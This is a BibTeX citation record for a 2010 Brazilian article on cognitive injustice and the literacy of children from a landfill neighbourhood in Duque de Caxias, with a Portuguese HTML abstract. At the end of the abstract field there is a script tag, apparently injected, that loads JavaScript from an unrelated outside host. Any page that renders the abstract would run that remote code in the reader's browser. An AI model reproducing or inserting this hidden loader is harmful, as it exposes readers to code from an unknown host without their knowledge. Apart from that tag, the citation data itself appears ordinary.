@article{Alves_2010, place={Campinas, SP}, title={Diálogos extemporâneos no cotidiano escolar: a pesquisa com as crianças}, volume={14}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1253}, DOI={10.20396/etd.v14i1.1253}, abstractNote={<p><span style="mso-fareast-font-family: ’Arial Unicode MS’; mso-fareast-language: AR-SA;">A pesquisa <em style="mso-bidi-font-style: normal;">Injustiças Cognitivas: ressignificando os conceitos de cognição, aprendizagem e saberes no cotidiano da escola</em>, que vimos desenvolvendo desde janeiro de 2008, na Escola Municipal Ana Nery – SME-D, de Caxias/RJ, busca investigar<strong> </strong>a produção de conhecimentos sobre a leitura e a escrita por crianças das classes populares consideradas pela escola como portadoras de “dificuldades de aprendizagem”.</span><span style="mso-fareast-font-family: ’Arial Unicode MS’;"> As crianças com as quais pesquisamos vivem na periferia da periferia: o </span><span style="mso-fareast-language: AR-SA;">Bairro de Jardim Gramacho – aterro sanitário situado no município de Duque de Caxias e rodeado por favelas. A maioria das famílias </span>tem no lixão sua fonte de renda.<span style="mso-fareast-font-family: ’Arial Unicode MS’;">Procuramos estudar as lógicas operatórias das crianças em suas relações cotidianas, tomando como pressuposto o postulado de Boaventura de Sousa Santos de que a injustiça social está diretamente relacionada às “injustiças cognitivas”<em style="mso-bidi-font-style: normal;">.</em> </span><span style="mso-fareast-font-family: ’Arial Unicode MS’; mso-fareast-language: AR-SA;">O uso deste conceito nos levou a pensar nas configurações da escola: até que ponto o conceito de cognição com que a escola trabalha está impregnado da dinâmica instrumental da cognição, limitando o campo de ação das práticas pedagógicas, pois desconsidera as possibilidades de invenção e de problematização? O que surge, quando procuramos fraturar o discurso das “dificuldades de aprendizagem” e como estas podem ser “lidas” na perspectiva das injustiças cognitivas? Instigadas por estas questões, buscamos investigar a formulação de novas possibilidades para a ação educativa da escola a partir da revisão-ampliação do conceito de cognição, articulando-o a uma perspectiva político-epistemológica fundada na concepção de “injustiças cognitivas”.</span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={ETD - Educação Temática Digital}, author={Alves, Luciana Pires}, year={2010}, month={nov.}, pages={281–298} }